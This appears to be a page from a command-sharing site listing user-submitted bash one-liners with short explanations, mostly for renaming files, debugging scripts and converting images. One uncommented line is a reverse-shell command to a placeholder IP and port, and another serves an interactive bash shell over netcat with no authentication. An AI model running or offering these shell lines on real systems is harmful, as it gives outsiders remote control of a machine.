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Commands using bash from sorted by
Terminal - Commands using bash - 52 results
sudo bash -c "sleep 1h ; command"
2011-06-15 16:46:31
User: dbh
Functions: bash sudo
4
sleep 1h ; sudo command

or

sudo sleep 1h ; sudo command

won't work, because by the time the delay is up, sudo will want your password again.

ls * | while read fin;do fout=$(echo -n $fin | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e);if [ "$fout" != "$fin" ];then echo "mv '$fin' '$fout'";fi;done | bash -x
2011-05-18 07:24:54
User: pawelb1973
Functions: bash echo ls read sed xargs
0

urldecode files in current directrory

find . -exec bash -c "mv '{}' '\`echo {} |sed -e 's/foo/bar/g'\`"' \;
2011-05-07 15:41:07
User: windfold
Functions: bash find
1

This command is a more flexible than my previous submission.

It will work with spaces however suuuuper hacky and ugly.

Source: http://www.unix.com/shell-programming-scripting/146173-find-rename-files-using-find-mv-sed.html

sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub'
2011-05-02 12:06:49
User: slayer_ftw
Functions: bash sudo
3

I'll let Slayer handle that. Raining Blood for your pleasure.

find <folder> -type f -name '*.jpg' -exec bash -c 'ext="${0##*.}";path="$(dirname "$0")";name="$(basename "$0"|sed "s/.jpg//")";folder="$(dirname "$0"|tr / \\n |tail -1)";new="${path}/${name}_${folder}.${ext}"; mv "$0" "${new}"' {} \;
2011-04-08 20:13:15
Functions: bash find mv
0

find pictures recursively in a specified folder and renames the file name to originalname_containingfoldername.jpg

find $DIR -exec bash method {} ";"
2011-03-28 02:41:02
User: netzahdzc
Functions: bash find
0

An easy way to send all directories to a bash script, it makes it recursive

bash -i >& /dev/tcp/IP/PORT 0>&1
bash -x script.sh
2010-12-15 17:01:51
Functions: bash
4

If script.sh contains only these two lines:

$ uname -a

$ whoami

bash -i 2>&1 | tee /dev/stderr | nc -l 5000
2010-10-20 18:32:12
User: pykler
Functions: bash tee
Tags: nc
4

Doesn't work so well if you connect from windows. Linux only sends LF where windows wants CRLF. The alternative command works better with windows, however it uses script and a named pipe.

xkcd() { wget -qO- http://xkcd.com/ | sed -n 's#^<img src="\(http://imgs.[^"]\+\)"\s\+title="\(.\+\?\)"\salt.\+$#eog "\1"\necho '"'\2'#p" | bash ; }
2010-08-25 15:44:31
User: John_W
Functions: bash sed wget
0

This function displays the latest comic from xkcd.com. One of the best things about xkcd is the title text when you hover over the comic, so this function also displays that after you close the comic.

To get a random xkcd comic use the following:

xkcdrandom() { wget -qO- http://dynamic.xkcd.com/comic/random | sed -n 's#^<img src="\(http://imgs.[^"]\+\)"\s\+title="\(.\+\?\)"\salt.\+$#eog "\1"\necho '"'\2'#p" | bash; }

These are just a bit shorter than the ones eigthmillion wrote, however his version didn't work as expected on my laptop for some reason (I got the title-tag first), so these build a command which is executed by bash.

find . -type d -name '*[A-Z]*' -execdir bash -c '! test -f "$(echo "$0" | tr "[:upper:]" "[:lower:]")"' {} \; -execdir bash -c 'mv "$0" "$(echo "$0" | tr "[:upper:]" "[:lower:]")"' {} \;
find /dev/ -name random -exec bash -c '[ -r $0 -a -w $0 ] && dd if=$0 | sort | dd of=$0' {} \;
find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;
2010-01-07 15:41:17
User: sorpigal
Functions: bash find
Tags: bash find mv
7

Recursively rename .JPG to .jpg using standard find and mv. It's generally better to use a standard tool if doing so is not much more difficult.

cd /usr/home && for i in *;do chsh -s bash $i;done
2009-12-31 18:48:53
User: casidiablo
Functions: bash cd chsh
6

This command will set bash as the default shell for all users in a FreeBSD system.

printf "%s\n" !(pattern) ## ksh, or bash with shopt -s extglob
2009-11-26 14:09:56
User: cfajohnson
Functions: bash printf
Tags: ls grep
-1

There's no need for ls or grep; printf is builtin to most modern shells

in bash hit "tab" twice and answer y
seq 4|xargs -n1 -i bash -c "echo -n 164.85.216.{} - ; nslookup 164.85.216.{} |grep name"|tr -s ' ' ' '|awk '{print $1" - "$5}'|sed 's/.$//'
dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done
2009-10-12 14:57:54
User: pykler
Functions: bash cut du echo read sed tail tr xargs
Tags: Debian wajig
4

Calculates the size on disk for each package installed on the filesystem (or removed but not purged). This is missing the

| sort -rn

which would put the biggest packges on top. That was purposely left out as the command is slightly on the slow side

Also you may need to run this as root as some files can only be checked by du if you can read them ;)

man bash | col -b
2009-09-10 00:45:27
User: suxer
Functions: bash col man
-12

Display man page in plain text

bash -x test.sh 2>&1 | tee out.test
2009-09-03 17:10:44
User: arcege
Functions: bash tee
3

Sends both stdout and stderr to the pipe which captures the data in the file 'out.test' and sends to stdout of tee (likely /dev/tty unless redirected). Works on Bourne, Korn and Bash shells.

bash-hotkey: <CTRL+x+e>
2009-08-25 09:08:54
User: alvinx
Functions: bash
20

* in bash-shell You can capture the current commandline to a text-editor:

* simply press: CTRL+x+e

* Your current commandline will pe put into Your default text-editor (export EDITOR=vim)

find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;
2009-08-10 18:27:10
Functions: bash find
4

Simple command to convert a large number of images into jpeg-format. Will delete originals after conversion.

find . -name "*.gz" | xargs -n 1 -I {} bash -c "gunzip -c {} | sort | gzip -c --best > {}.new ; rm {} ; mv {}.new {}"
2009-08-05 14:16:15
User: kennethjor
Functions: bash find xargs
-2

I used this because I needed to sort the content of a bunch of gzipped log files. Replace sort with something else, or simply remove sort to just rezip everything

bash -x script.sh 2> log
bash -x SCRIPT
2009-03-13 00:09:07
User: jcalvert
Functions: bash
3

Display commands and their arguments as they are executed. Useful for debugging shell scripts.